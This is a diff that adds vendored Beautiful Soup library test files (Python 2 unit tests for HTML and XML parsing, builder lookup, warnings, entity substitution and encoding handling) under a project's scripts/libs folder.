self.assertEqual(
|
||||
soup.encode("utf-8"), markup)
|
||||
|
||||
def test_formatter_processes_script_tag_for_xml_documents(self):
|
||||
doc = """
|
||||
<script type="text/javascript">
|
||||
</script>
|
||||
"""
|
||||
soup = BeautifulSoup(doc, "lxml-xml")
|
||||
# lxml would have stripped this while parsing, but we can add
|
||||
# it later.
|
||||
soup.script.string = 'console.log("< < hey > > ");'
|
||||
encoded = soup.encode()
|
||||
self.assertTrue(b"< < hey > >" in encoded)
|
||||
|
||||
def test_can_parse_unicode_document(self):
|
||||
markup = u'<?xml version="1.0" encoding="euc-jp"><root>Sacr\N{LATIN SMALL LETTER E WITH ACUTE} bleu!</root>'
|
||||
soup = self.soup(markup)
|
||||
self.assertEqual(u'Sacr\xe9 bleu!', soup.root.string)
|
||||
|
||||
def test_popping_namespaced_tag(self):
|
||||
markup = '<rss xmlns:dc="foo"><dc:creator>b</dc:creator><dc:date>2012-07-02T20:33:42Z</dc:date><dc:rights>c</dc:rights><image>d</image></rss>'
|
||||
soup = self.soup(markup)
|
||||
self.assertEqual(
|
||||
unicode(soup.rss), markup)
|
||||
|
||||
def test_docstring_includes_correct_encoding(self):
|
||||
soup = self.soup("<root/>")
|
||||
self.assertEqual(
|
||||
soup.encode("latin1"),
|
||||
b'<?xml version="1.0" encoding="latin1"?>\n<root/>')
|
||||
|
||||
def test_large_xml_document(self):
|
||||
"""A large XML document should come out the same as it went in."""
|
||||
markup = (b'<?xml version="1.0" encoding="utf-8"?>\n<root>'
|
||||
+ b'0' * (2**12)
|
||||
+ b'</root>')
|
||||
soup = self.soup(markup)
|
||||
self.assertEqual(soup.encode("utf-8"), markup)
|
||||
|
||||
|
||||
def test_tags_are_empty_element_if_and_only_if_they_are_empty(self):
|
||||
self.assertSoupEquals("<p>", "<p/>")
|
||||
self.assertSoupEquals("<p>foo</p>")
|
||||
|
||||
def test_namespaces_are_preserved(self):
|
||||
markup = '<root xmlns:a="http://example.com/" xmlns:b="http://example.net/"><a:foo>This tag is in the a namespace</a:foo><b:foo>This tag is in the b namespace</b:foo></root>'
|
||||
soup = self.soup(markup)
|
||||
root = soup.root
|
||||
self.assertEqual("http://example.com/", root['xmlns:a'])
|
||||
self.assertEqual("http://example.net/", root['xmlns:b'])
|
||||
|
||||
def test_closing_namespaced_tag(self):
|
||||
markup = '<p xmlns:dc="http://purl.org/dc/elements/1.1/"><dc:date>20010504</dc:date></p>'
|
||||
soup = self.soup(markup)
|
||||
self.assertEqual(unicode(soup.p), markup)
|
||||
|
||||
def test_namespaced_attributes(self):
|
||||
markup = '<foo xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><bar xsi:schemaLocation="http://www.example.com"/></foo>'
|
||||
soup = self.soup(markup)
|
||||
self.assertEqual(unicode(soup.foo), markup)
|
||||
|
||||
def test_namespaced_attributes_xml_namespace(self):
|
||||
markup = '<foo xml:lang="fr">bar</foo>'
|
||||
soup = self.soup(markup)
|
||||
self.assertEqual(unicode(soup.foo), markup)
|
||||
|
||||
class HTML5TreeBuilderSmokeTest(HTMLTreeBuilderSmokeTest):
|
||||
"""Smoke test for a tree builder that supports HTML5."""
|
||||
|
||||
def test_real_xhtml_document(self):
|
||||
# Since XHTML is not HTML5, HTML5 parsers are not tested to handle
|
||||
# XHTML documents in any particular way.
|
||||
pass
|
||||
|
||||
def test_html_tags_have_namespace(self):
|
||||
markup = "<a>"
|
||||
soup = self.soup(markup)
|
||||
self.assertEqual("http://www.w3.org/1999/xhtml", soup.a.namespace)
|
||||
|
||||
def test_svg_tags_have_namespace(self):
|
||||
markup = '<svg><circle/></svg>'
|
||||
soup = self.soup(markup)
|
||||
namespace = "http://www.w3.org/2000/svg"
|
||||
self.assertEqual(namespace, soup.svg.namespace)
|
||||
self.assertEqual(namespace, soup.circle.namespace)
|
||||
|
||||
|
||||
def test_mathml_tags_have_namespace(self):
|
||||
markup = '<math><msqrt>5</msqrt></math>'
|
||||
soup = self.soup(markup)
|
||||
namespace = 'http://www.w3.org/1998/Math/MathML'
|
||||
self.assertEqual(namespace, soup.math.namespace)
|
||||
self.assertEqual(namespace, soup.msqrt.namespace)
|
||||
|
||||
def test_xml_declaration_becomes_comment(self):
|
||||
markup = '<?xml version="1.0" encoding="utf-8"?><html></html>'
|
||||
soup = self.soup(markup)
|
||||
self.assertTrue(isinstance(soup.contents[0], Comment))
|
||||
self.assertEqual(soup.contents[0], '?xml version="1.0" encoding="utf-8"?')
|
||||
self.assertEqual("html", soup.contents[0].next_element.name)
|
||||
|
||||
def skipIf(condition, reason):
|
||||
def nothing(test, *args, **kwargs):
|
||||
return None
|
||||
|
||||
def decorator(test_item):
|
||||
if condition:
|
||||
return nothing
|
||||
else:
|
||||
return test_item
|
||||
|
||||
return decorator
|
||||
1
PortalAuth/includes/scripts/libs/bs4/tests/__init__.py
Executable file
1
PortalAuth/includes/scripts/libs/bs4/tests/__init__.py
Executable file
@@ -0,0 +1 @@
|
||||
"The beautifulsoup tests."
|
||||
147
PortalAuth/includes/scripts/libs/bs4/tests/test_builder_registry.py
Executable file
147
PortalAuth/includes/scripts/libs/bs4/tests/test_builder_registry.py
Executable file
@@ -0,0 +1,147 @@
|
||||
"""Tests of the builder registry."""
|
||||
|
||||
import unittest
|
||||
import warnings
|
||||
|
||||
from bs4 import BeautifulSoup
|
||||
from bs4.builder import (
|
||||
builder_registry as registry,
|
||||
HTMLParserTreeBuilder,
|
||||
TreeBuilderRegistry,
|
||||
)
|
||||
|
||||
try:
|
||||
from bs4.builder import HTML5TreeBuilder
|
||||
HTML5LIB_PRESENT = True
|
||||
except ImportError:
|
||||
HTML5LIB_PRESENT = False
|
||||
|
||||
try:
|
||||
from bs4.builder import (
|
||||
LXMLTreeBuilderForXML,
|
||||
LXMLTreeBuilder,
|
||||
)
|
||||
LXML_PRESENT = True
|
||||
except ImportError:
|
||||
LXML_PRESENT = False
|
||||
|
||||
|
||||
class BuiltInRegistryTest(unittest.TestCase):
|
||||
"""Test the built-in registry with the default builders registered."""
|
||||
|
||||
def test_combination(self):
|
||||
if LXML_PRESENT:
|
||||
self.assertEqual(registry.lookup('fast', 'html'),
|
||||
LXMLTreeBuilder)
|
||||
|
||||
if LXML_PRESENT:
|
||||
self.assertEqual(registry.lookup('permissive', 'xml'),
|
||||
LXMLTreeBuilderForXML)
|
||||
self.assertEqual(registry.lookup('strict', 'html'),
|
||||
HTMLParserTreeBuilder)
|
||||
if HTML5LIB_PRESENT:
|
||||
self.assertEqual(registry.lookup('html5lib', 'html'),
|
||||
HTML5TreeBuilder)
|
||||
|
||||
def test_lookup_by_markup_type(self):
|
||||
if LXML_PRESENT:
|
||||
self.assertEqual(registry.lookup('html'), LXMLTreeBuilder)
|
||||
self.assertEqual(registry.lookup('xml'), LXMLTreeBuilderForXML)
|
||||
else:
|
||||
self.assertEqual(registry.lookup('xml'), None)
|
||||
if HTML5LIB_PRESENT:
|
||||
self.assertEqual(registry.lookup('html'), HTML5TreeBuilder)
|
||||
else:
|
||||
self.assertEqual(registry.lookup('html'), HTMLParserTreeBuilder)
|
||||
|
||||
def test_named_library(self):
|
||||
if LXML_PRESENT:
|
||||
self.assertEqual(registry.lookup('lxml', 'xml'),
|
||||
LXMLTreeBuilderForXML)
|
||||
self.assertEqual(registry.lookup('lxml', 'html'),
|
||||
LXMLTreeBuilder)
|
||||
if HTML5LIB_PRESENT:
|
||||
self.assertEqual(registry.lookup('html5lib'),
|
||||
HTML5TreeBuilder)
|
||||
|
||||
self.assertEqual(registry.lookup('html.parser'),
|
||||
HTMLParserTreeBuilder)
|
||||
|
||||
def test_beautifulsoup_constructor_does_lookup(self):
|
||||
|
||||
with warnings.catch_warnings(record=True) as w:
|
||||
# This will create a warning about not explicitly
|
||||
# specifying a parser, but we'll ignore it.
|
||||
|
||||
# You can pass in a string.
|
||||
BeautifulSoup("", features="html")
|
||||
# Or a list of strings.
|
||||
BeautifulSoup("", features=["html", "fast"])
|
||||
|
||||
# You'll get an exception if BS can't find an appropriate
|
||||
# builder.
|
||||
self.assertRaises(ValueError, BeautifulSoup,
|
||||
"", features="no-such-feature")
|
||||
|
||||
class RegistryTest(unittest.TestCase):
|
||||
"""Test the TreeBuilderRegistry class in general."""
|
||||
|
||||
def setUp(self):
|
||||
self.registry = TreeBuilderRegistry()
|
||||
|
||||
def builder_for_features(self, *feature_list):
|
||||
cls = type('Builder_' + '_'.join(feature_list),
|
||||
(object,), {'features' : feature_list})
|
||||
|
||||
self.registry.register(cls)
|
||||
return cls
|
||||
|
||||
def test_register_with_no_features(self):
|
||||
builder = self.builder_for_features()
|
||||
|
||||
# Since the builder advertises no features, you can't find it
|
||||
# by looking up features.
|
||||
self.assertEqual(self.registry.lookup('foo'), None)
|
||||
|
||||
# But you can find it by doing a lookup with no features, if
|
||||
# this happens to be the only registered builder.
|
||||
self.assertEqual(self.registry.lookup(), builder)
|
||||
|
||||
def test_register_with_features_makes_lookup_succeed(self):
|
||||
builder = self.builder_for_features('foo', 'bar')
|
||||
self.assertEqual(self.registry.lookup('foo'), builder)
|
||||
self.assertEqual(self.registry.lookup('bar'), builder)
|
||||
|
||||
def test_lookup_fails_when_no_builder_implements_feature(self):
|
||||
builder = self.builder_for_features('foo', 'bar')
|
||||
self.assertEqual(self.registry.lookup('baz'), None)
|
||||
|
||||
def test_lookup_gets_most_recent_registration_when_no_feature_specified(self):
|
||||
builder1 = self.builder_for_features('foo')
|
||||
builder2 = self.builder_for_features('bar')
|
||||
self.assertEqual(self.registry.lookup(), builder2)
|
||||
|
||||
def test_lookup_fails_when_no_tree_builders_registered(self):
|
||||
self.assertEqual(self.registry.lookup(), None)
|
||||
|
||||
def test_lookup_gets_most_recent_builder_supporting_all_features(self):
|
||||
has_one = self.builder_for_features('foo')
|
||||
has_the_other = self.builder_for_features('bar')
|
||||
has_both_early = self.builder_for_features('foo', 'bar', 'baz')
|
||||
has_both_late = self.builder_for_features('foo', 'bar', 'quux')
|
||||
lacks_one = self.builder_for_features('bar')
|
||||
has_the_other = self.builder_for_features('foo')
|
||||
|
||||
# There are two builders featuring 'foo' and 'bar', but
|
||||
# the one that also features 'quux' was registered later.
|
||||
self.assertEqual(self.registry.lookup('foo', 'bar'),
|
||||
has_both_late)
|
||||
|
||||
# There is only one builder featuring 'foo', 'bar', and 'baz'.
|
||||
self.assertEqual(self.registry.lookup('foo', 'bar', 'baz'),
|
||||
has_both_early)
|
||||
|
||||
def test_lookup_fails_when_cannot_reconcile_requested_features(self):
|
||||
builder1 = self.builder_for_features('foo', 'bar')
|
||||
builder2 = self.builder_for_features('foo', 'baz')
|
||||
self.assertEqual(self.registry.lookup('bar', 'baz'), None)
|
||||
36
PortalAuth/includes/scripts/libs/bs4/tests/test_docs.py
Executable file
36
PortalAuth/includes/scripts/libs/bs4/tests/test_docs.py
Executable file
@@ -0,0 +1,36 @@
|
||||
"Test harness for doctests."
|
||||
|
||||
# pylint: disable-msg=E0611,W0142
|
||||
|
||||
__metaclass__ = type
|
||||
__all__ = [
|
||||
'additional_tests',
|
||||
]
|
||||
|
||||
import atexit
|
||||
import doctest
|
||||
import os
|
||||
#from pkg_resources import (
|
||||
# resource_filename, resource_exists, resource_listdir, cleanup_resources)
|
||||
import unittest
|
||||
|
||||
DOCTEST_FLAGS = (
|
||||
doctest.ELLIPSIS |
|
||||
doctest.NORMALIZE_WHITESPACE |
|
||||
doctest.REPORT_NDIFF)
|
||||
|
||||
|
||||
# def additional_tests():
|
||||
# "Run the doc tests (README.txt and docs/*, if any exist)"
|
||||
# doctest_files = [
|
||||
# os.path.abspath(resource_filename('bs4', 'README.txt'))]
|
||||
# if resource_exists('bs4', 'docs'):
|
||||
# for name in resource_listdir('bs4', 'docs'):
|
||||
# if name.endswith('.txt'):
|
||||
# doctest_files.append(
|
||||
# os.path.abspath(
|
||||
# resource_filename('bs4', 'docs/%s' % name)))
|
||||
# kwargs = dict(module_relative=False, optionflags=DOCTEST_FLAGS)
|
||||
# atexit.register(cleanup_resources)
|
||||
# return unittest.TestSuite((
|
||||
# doctest.DocFileSuite(*doctest_files, **kwargs)))
|
||||
91
PortalAuth/includes/scripts/libs/bs4/tests/test_html5lib.py
Executable file
91
PortalAuth/includes/scripts/libs/bs4/tests/test_html5lib.py
Executable file
@@ -0,0 +1,91 @@
|
||||
"""Tests to ensure that the html5lib tree builder generates good trees."""
|
||||
|
||||
import warnings
|
||||
|
||||
try:
|
||||
from bs4.builder import HTML5TreeBuilder
|
||||
HTML5LIB_PRESENT = True
|
||||
except ImportError, e:
|
||||
HTML5LIB_PRESENT = False
|
||||
from bs4.element import SoupStrainer
|
||||
from bs4.testing import (
|
||||
HTML5TreeBuilderSmokeTest,
|
||||
SoupTest,
|
||||
skipIf,
|
||||
)
|
||||
|
||||
@skipIf(
|
||||
not HTML5LIB_PRESENT,
|
||||
"html5lib seems not to be present, not testing its tree builder.")
|
||||
class HTML5LibBuilderSmokeTest(SoupTest, HTML5TreeBuilderSmokeTest):
|
||||
"""See ``HTML5TreeBuilderSmokeTest``."""
|
||||
|
||||
@property
|
||||
def default_builder(self):
|
||||
return HTML5TreeBuilder()
|
||||
|
||||
def test_soupstrainer(self):
|
||||
# The html5lib tree builder does not support SoupStrainers.
|
||||
strainer = SoupStrainer("b")
|
||||
markup = "<p>A <b>bold</b> statement.</p>"
|
||||
with warnings.catch_warnings(record=True) as w:
|
||||
soup = self.soup(markup, parse_only=strainer)
|
||||
self.assertEqual(
|
||||
soup.decode(), self.document_for(markup))
|
||||
|
||||
self.assertTrue(
|
||||
"the html5lib tree builder doesn't support parse_only" in
|
||||
str(w[0].message))
|
||||
|
||||
def test_correctly_nested_tables(self):
|
||||
"""html5lib inserts <tbody> tags where other parsers don't."""
|
||||
markup = ('<table id="1">'
|
||||
'<tr>'
|
||||
"<td>Here's another table:"
|
||||
'<table id="2">'
|
||||
'<tr><td>foo</td></tr>'
|
||||
'</table></td>')
|
||||
|
||||
self.assertSoupEquals(
|
||||
markup,
|
||||
'<table id="1"><tbody><tr><td>Here\'s another table:'
|
||||
'<table id="2"><tbody><tr><td>foo</td></tr></tbody></table>'
|
||||
'</td></tr></tbody></table>')
|
||||
|
||||
self.assertSoupEquals(
|
||||
"<table><thead><tr><td>Foo</td></tr></thead>"
|
||||
"<tbody><tr><td>Bar</td></tr></tbody>"
|
||||
"<tfoot><tr><td>Baz</td></tr></tfoot></table>")
|
||||
|
||||
def test_xml_declaration_followed_by_doctype(self):
|
||||
markup = '''<?xml version="1.0" encoding="utf-8"?>
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
</head>
|
||||
<body>
|
||||
<p>foo</p>
|
||||
</body>
|
||||
</html>'''
|
||||
soup = self.soup(markup)
|
||||
# Verify that we can reach the <p> tag; this means the tree is connected.
|
||||
self.assertEqual(b"<p>foo</p>", soup.p.encode())
|
||||
|
||||
def test_reparented_markup(self):
|
||||
markup = '<p><em>foo</p>\n<p>bar<a></a></em></p>'
|
||||
soup = self.soup(markup)
|
||||
self.assertEqual(u"<body><p><em>foo</em></p><em>\n</em><p><em>bar<a></a></em></p></body>", soup.body.decode())
|
||||
self.assertEqual(2, len(soup.find_all('p')))
|
||||
|
||||
|
||||
def test_reparented_markup_ends_with_whitespace(self):
|
||||
markup = '<p><em>foo</p>\n<p>bar<a></a></em></p>\n'
|
||||
soup = self.soup(markup)
|
||||
self.assertEqual(u"<body><p><em>foo</em></p><em>\n</em><p><em>bar<a></a></em></p>\n</body>", soup.body.decode())
|
||||
self.assertEqual(2, len(soup.find_all('p')))
|
||||
|
||||
def test_processing_instruction(self):
|
||||
"""Processing instructions become comments."""
|
||||
markup = b"""<?PITarget PIContent?>"""
|
||||
soup = self.soup(markup)
|
||||
assert str(soup).startswith("<!--?PITarget PIContent?-->")
|
||||
32
PortalAuth/includes/scripts/libs/bs4/tests/test_htmlparser.py
Executable file
32
PortalAuth/includes/scripts/libs/bs4/tests/test_htmlparser.py
Executable file
@@ -0,0 +1,32 @@
|
||||
"""Tests to ensure that the html.parser tree builder generates good
|
||||
trees."""
|
||||
|
||||
from pdb import set_trace
|
||||
import pickle
|
||||
from bs4.testing import SoupTest, HTMLTreeBuilderSmokeTest
|
||||
from bs4.builder import HTMLParserTreeBuilder
|
||||
|
||||
class HTMLParserTreeBuilderSmokeTest(SoupTest, HTMLTreeBuilderSmokeTest):
|
||||
|
||||
@property
|
||||
def default_builder(self):
|
||||
return HTMLParserTreeBuilder()
|
||||
|
||||
def test_namespaced_system_doctype(self):
|
||||
# html.parser can't handle namespaced doctypes, so skip this one.
|
||||
pass
|
||||
|
||||
def test_namespaced_public_doctype(self):
|
||||
# html.parser can't handle namespaced doctypes, so skip this one.
|
||||
pass
|
||||
|
||||
def test_builder_is_pickled(self):
|
||||
"""Unlike most tree builders, HTMLParserTreeBuilder and will
|
||||
be restored after pickling.
|
||||
"""
|
||||
tree = self.soup("<a><b>foo</a>")
|
||||
dumped = pickle.dumps(tree, 2)
|
||||
loaded = pickle.loads(dumped)
|
||||
self.assertTrue(isinstance(loaded.builder, type(tree.builder)))
|
||||
|
||||
|
||||
76
PortalAuth/includes/scripts/libs/bs4/tests/test_lxml.py
Executable file
76
PortalAuth/includes/scripts/libs/bs4/tests/test_lxml.py
Executable file
@@ -0,0 +1,76 @@
|
||||
"""Tests to ensure that the lxml tree builder generates good trees."""
|
||||
|
||||
import re
|
||||
import warnings
|
||||
|
||||
try:
|
||||
import lxml.etree
|
||||
LXML_PRESENT = True
|
||||
LXML_VERSION = lxml.etree.LXML_VERSION
|
||||
except ImportError, e:
|
||||
LXML_PRESENT = False
|
||||
LXML_VERSION = (0,)
|
||||
|
||||
if LXML_PRESENT:
|
||||
from bs4.builder import LXMLTreeBuilder, LXMLTreeBuilderForXML
|
||||
|
||||
from bs4 import (
|
||||
BeautifulSoup,
|
||||
BeautifulStoneSoup,
|
||||
)
|
||||
from bs4.element import Comment, Doctype, SoupStrainer
|
||||
from bs4.testing import skipIf
|
||||
from bs4.tests import test_htmlparser
|
||||
from bs4.testing import (
|
||||
HTMLTreeBuilderSmokeTest,
|
||||
XMLTreeBuilderSmokeTest,
|
||||
SoupTest,
|
||||
skipIf,
|
||||
)
|
||||
|
||||
@skipIf(
|
||||
not LXML_PRESENT,
|
||||
"lxml seems not to be present, not testing its tree builder.")
|
||||
class LXMLTreeBuilderSmokeTest(SoupTest, HTMLTreeBuilderSmokeTest):
|
||||
"""See ``HTMLTreeBuilderSmokeTest``."""
|
||||
|
||||
@property
|
||||
def default_builder(self):
|
||||
return LXMLTreeBuilder()
|
||||
|
||||
def test_out_of_range_entity(self):
|
||||
self.assertSoupEquals(
|
||||
"<p>foo�bar</p>", "<p>foobar</p>")
|
||||
self.assertSoupEquals(
|
||||
"<p>foo�bar</p>", "<p>foobar</p>")
|
||||
self.assertSoupEquals(
|
||||
"<p>foo�bar</p>", "<p>foobar</p>")
|
||||
|
||||
# In lxml < 2.3.5, an empty doctype causes a segfault. Skip this
|
||||
# test if an old version of lxml is installed.
|
||||
|
||||
@skipIf(
|
||||
not LXML_PRESENT or LXML_VERSION < (2,3,5,0),
|
||||
"Skipping doctype test for old version of lxml to avoid segfault.")
|
||||
def test_empty_doctype(self):
|
||||
soup = self.soup("<!DOCTYPE>")
|
||||
doctype = soup.contents[0]
|
||||
self.assertEqual("", doctype.strip())
|
||||
|
||||
def test_beautifulstonesoup_is_xml_parser(self):
|
||||
# Make sure that the deprecated BSS class uses an xml builder
|
||||
# if one is installed.
|
||||
with warnings.catch_warnings(record=True) as w:
|
||||
soup = BeautifulStoneSoup("<b />")
|
||||
self.assertEqual(u"<b/>", unicode(soup.b))
|
||||
self.assertTrue("BeautifulStoneSoup class is deprecated" in str(w[0].message))
|
||||
|
||||
@skipIf(
|
||||
not LXML_PRESENT,
|
||||
"lxml seems not to be present, not testing its XML tree builder.")
|
||||
class LXMLXMLTreeBuilderSmokeTest(SoupTest, XMLTreeBuilderSmokeTest):
|
||||
"""See ``HTMLTreeBuilderSmokeTest``."""
|
||||
|
||||
@property
|
||||
def default_builder(self):
|
||||
return LXMLTreeBuilderForXML()
|
||||
482
PortalAuth/includes/scripts/libs/bs4/tests/test_soup.py
Executable file
482
PortalAuth/includes/scripts/libs/bs4/tests/test_soup.py
Executable file
@@ -0,0 +1,482 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
"""Tests of Beautiful Soup as a whole."""
|
||||
|
||||
from pdb import set_trace
|
||||
import logging
|
||||
import unittest
|
||||
import sys
|
||||
import tempfile
|
||||
|
||||
from bs4 import (
|
||||
BeautifulSoup,
|
||||
BeautifulStoneSoup,
|
||||
)
|
||||
from bs4.element import (
|
||||
CharsetMetaAttributeValue,
|
||||
ContentMetaAttributeValue,
|
||||
SoupStrainer,
|
||||
NamespacedAttribute,
|
||||
)
|
||||
import bs4.dammit
|
||||
from bs4.dammit import (
|
||||
EntitySubstitution,
|
||||
UnicodeDammit,
|
||||
EncodingDetector,
|
||||
)
|
||||
from bs4.testing import (
|
||||
SoupTest,
|
||||
skipIf,
|
||||
)
|
||||
import warnings
|
||||
|
||||
try:
|
||||
from bs4.builder import LXMLTreeBuilder, LXMLTreeBuilderForXML
|
||||
LXML_PRESENT = True
|
||||
except ImportError, e:
|
||||
LXML_PRESENT = False
|
||||
|
||||
PYTHON_2_PRE_2_7 = (sys.version_info < (2,7))
|
||||
PYTHON_3_PRE_3_2 = (sys.version_info[0] == 3 and sys.version_info < (3,2))
|
||||
|
||||
class TestConstructor(SoupTest):
|
||||
|
||||
def test_short_unicode_input(self):
|
||||
data = u"<h1>éé</h1>"
|
||||
soup = self.soup(data)
|
||||
self.assertEqual(u"éé", soup.h1.string)
|
||||
|
||||
def test_embedded_null(self):
|
||||
data = u"<h1>foo\0bar</h1>"
|
||||
soup = self.soup(data)
|
||||
self.assertEqual(u"foo\0bar", soup.h1.string)
|
||||
|
||||
def test_exclude_encodings(self):
|
||||
utf8_data = u"Räksmörgås".encode("utf-8")
|
||||
soup = self.soup(utf8_data, exclude_encodings=["utf-8"])
|
||||
self.assertEqual("windows-1252", soup.original_encoding)
|
||||
|
||||
|
||||
class TestWarnings(SoupTest):
|
||||
|
||||
def _no_parser_specified(self, s, is_there=True):
|
||||
v = s.startswith(BeautifulSoup.NO_PARSER_SPECIFIED_WARNING[:80])
|
||||
self.assertTrue(v)
|
||||
|
||||
def test_warning_if_no_parser_specified(self):
|
||||
with warnings.catch_warnings(record=True) as w:
|
||||
soup = self.soup("<a><b></b></a>")
|
||||
msg = str(w[0].message)
|
||||
self._assert_no_parser_specified(msg)
|
||||
|
||||
def test_warning_if_parser_specified_too_vague(self):
|
||||
with warnings.catch_warnings(record=True) as w:
|
||||
soup = self.soup("<a><b></b></a>", "html")
|
||||
msg = str(w[0].message)
|
||||
self._assert_no_parser_specified(msg)
|
||||
|
||||
def test_no_warning_if_explicit_parser_specified(self):
|
||||
with warnings.catch_warnings(record=True) as w:
|
||||
soup = self.soup("<a><b></b></a>", "html.parser")
|
||||
self.assertEquals([], w)
|
||||
|
||||
def test_parseOnlyThese_renamed_to_parse_only(self):
|
||||
with warnings.catch_warnings(record=True) as w:
|
||||
soup = self.soup("<a><b></b></a>", parseOnlyThese=SoupStrainer("b"))
|
||||
msg = str(w[0].message)
|
||||
self.assertTrue("parseOnlyThese" in msg)
|
||||
self.assertTrue("parse_only" in msg)
|
||||
self.assertEqual(b"<b></b>", soup.encode())
|
||||
|
||||
def test_fromEncoding_renamed_to_from_encoding(self):
|
||||
with warnings.catch_warnings(record=True) as w:
|
||||
utf8 = b"\xc3\xa9"
|
||||
soup = self.soup(utf8, fromEncoding="utf8")
|
||||
msg = str(w[0].message)
|
||||
self.assertTrue("fromEncoding" in msg)
|
||||
self.assertTrue("from_encoding" in msg)
|
||||
self.assertEqual("utf8", soup.original_encoding)
|
||||
|
||||
def test_unrecognized_keyword_argument(self):
|
||||
self.assertRaises(
|
||||
TypeError, self.soup, "<a>", no_such_argument=True)
|
||||
|
||||
class TestWarnings(SoupTest):
|
||||
|
||||
def test_disk_file_warning(self):
|
||||
filehandle = tempfile.NamedTemporaryFile()
|
||||
filename = filehandle.name
|
||||
try:
|
||||
with warnings.catch_warnings(record=True) as w:
|
||||
soup = self.soup(filename)
|
||||
msg = str(w[0].message)
|
||||
self.assertTrue("looks like a filename" in msg)
|
||||
finally:
|
||||
filehandle.close()
|
||||
|
||||
# The file no longer exists, so Beautiful Soup will no longer issue the warning.
|
||||
with warnings.catch_warnings(record=True) as w:
|
||||
soup = self.soup(filename)
|
||||
self.assertEqual(0, len(w))
|
||||
|
||||
def test_url_warning(self):
|
||||
with warnings.catch_warnings(record=True) as w:
|
||||
soup = self.soup("http://www.crummy.com/")
|
||||
msg = str(w[0].message)
|
||||
self.assertTrue("looks like a URL" in msg)
|
||||
|
||||
with warnings.catch_warnings(record=True) as w:
|
||||
soup = self.soup("http://www.crummy.com/ is great")
|
||||
self.assertEqual(0, len(w))
|
||||
|
||||
class TestSelectiveParsing(SoupTest):
|
||||
|
||||
def test_parse_with_soupstrainer(self):
|
||||
markup = "No<b>Yes</b><a>No<b>Yes <c>Yes</c></b>"
|
||||
strainer = SoupStrainer("b")
|
||||
soup = self.soup(markup, parse_only=strainer)
|
||||
self.assertEqual(soup.encode(), b"<b>Yes</b><b>Yes <c>Yes</c></b>")
|
||||
|
||||
|
||||
class TestEntitySubstitution(unittest.TestCase):
|
||||
"""Standalone tests of the EntitySubstitution class."""
|
||||
def setUp(self):
|
||||
self.sub = EntitySubstitution
|
||||
|
||||
def test_simple_html_substitution(self):
|
||||
# Unicode characters corresponding to named HTML entites
|
||||
# are substituted, and no others.
|
||||
s = u"foo\u2200\N{SNOWMAN}\u00f5bar"
|
||||
self.assertEqual(self.sub.substitute_html(s),
|
||||
u"foo∀\N{SNOWMAN}õbar")
|
||||
|
||||
def test_smart_quote_substitution(self):
|
||||
# MS smart quotes are a common source of frustration, so we
|
||||
# give them a special test.
|
||||
quotes = b"\x91\x92foo\x93\x94"
|
||||
dammit = UnicodeDammit(quotes)
|
||||
self.assertEqual(self.sub.substitute_html(dammit.markup),
|
||||
"‘’foo“”")
|
||||
|
||||
def test_xml_converstion_includes_no_quotes_if_make_quoted_attribute_is_false(self):
|
||||
s = 'Welcome to "my bar"'
|
||||
self.assertEqual(self.sub.substitute_xml(s, False), s)
|
||||
|
||||
def test_xml_attribute_quoting_normally_uses_double_quotes(self):
|
||||
self.assertEqual(self.sub.substitute_xml("Welcome", True),
|
||||
'"Welcome"')
|
||||
self.assertEqual(self.sub.substitute_xml("Bob's Bar", True),
|
||||
'"Bob\'s Bar"')
|
||||
|
||||
def test_xml_attribute_quoting_uses_single_quotes_when_value_contains_double_quotes(self):
|
||||
s = 'Welcome to "my bar"'
|
||||
self.assertEqual(self.sub.substitute_xml(s, True),
|
||||
"'Welcome to \"my bar\"'")
|
||||
|
||||
def test_xml_attribute_quoting_escapes_single_quotes_when_value_contains_both_single_and_double_quotes(self):
|
||||
s = 'Welcome to "Bob\'s Bar"'
|
||||
self.assertEqual(
|
||||
self.sub.substitute_xml(s, True),
|
||||
'"Welcome to "Bob\'s Bar""')
|
||||
|
||||
def test_xml_quotes_arent_escaped_when_value_is_not_being_quoted(self):
|
||||
quoted = 'Welcome to "Bob\'s Bar"'
|
||||
self.assertEqual(self.sub.substitute_xml(quoted), quoted)
|
||||
|
||||
def test_xml_quoting_handles_angle_brackets(self):
|
||||
self.assertEqual(
|
||||
self.sub.substitute_xml("foo<bar>"),
|
||||
"foo<bar>")
|
||||
|
||||
def test_xml_quoting_handles_ampersands(self):
|
||||
self.assertEqual(self.sub.substitute_xml("AT&T"), "AT&T")
|
||||
|
||||
def test_xml_quoting_including_ampersands_when_they_are_part_of_an_entity(self):
|
||||
self.assertEqual(
|
||||
self.sub.substitute_xml("ÁT&T"),
|
||||
"&Aacute;T&T")
|
||||
|
||||
def test_xml_quoting_ignoring_ampersands_when_they_are_part_of_an_entity(self):
|
||||
self.assertEqual(
|
||||
self.sub.substitute_xml_containing_entities("ÁT&T"),
|
||||
"ÁT&T")
|
||||
|
||||
def test_quotes_not_html_substituted(self):
|
||||
"""There's no need to do this except inside attribute values."""
|
||||
text = 'Bob\'s "bar"'
|
||||
self.assertEqual(self.sub.substitute_html(text), text)
|
||||
|
||||
|
||||
class TestEncodingConversion(SoupTest):
|
||||
# Test Beautiful Soup's ability to decode and encode from various
|
||||
# encodings.
|
||||
|
||||
def setUp(self):
|
||||
super(TestEncodingConversion, self).setUp()
|
||||
self.unicode_data = u'<html><head><meta charset="utf-8"/></head><body><foo>Sacr\N{LATIN SMALL LETTER E WITH ACUTE} bleu!</foo></body></html>'
|
||||
self.utf8_data = self.unicode_data.encode("utf-8")
|
||||
# Just so you know what it looks like.
|
||||
self.assertEqual(
|
||||
self.utf8_data,
|
||||
b'<html><head><meta charset="utf-8"/></head><body><foo>Sacr\xc3\xa9 bleu!</foo></body></html>')
|
||||
|
||||
def test_ascii_in_unicode_out(self):
|
||||
# ASCII input is converted to Unicode. The original_encoding
|
||||
# attribute is set to 'utf-8', a superset of ASCII.
|
||||
chardet = bs4.dammit.chardet_dammit
|
||||
logging.disable(logging.WARNING)
|
||||
try:
|
||||
def noop(str):
|
||||
return None
|
||||
# Disable chardet, which will realize that the ASCII is ASCII.
|
||||
bs4.dammit.chardet_dammit = noop
|
||||
ascii = b"<foo>a</foo>"
|
||||
soup_from_ascii = self.soup(ascii)
|
||||
unicode_output = soup_from_ascii.decode()
|
||||
self.assertTrue(isinstance(unicode_output, unicode))
|
||||
self.assertEqual(unicode_output, self.document_for(ascii.decode()))
|
||||
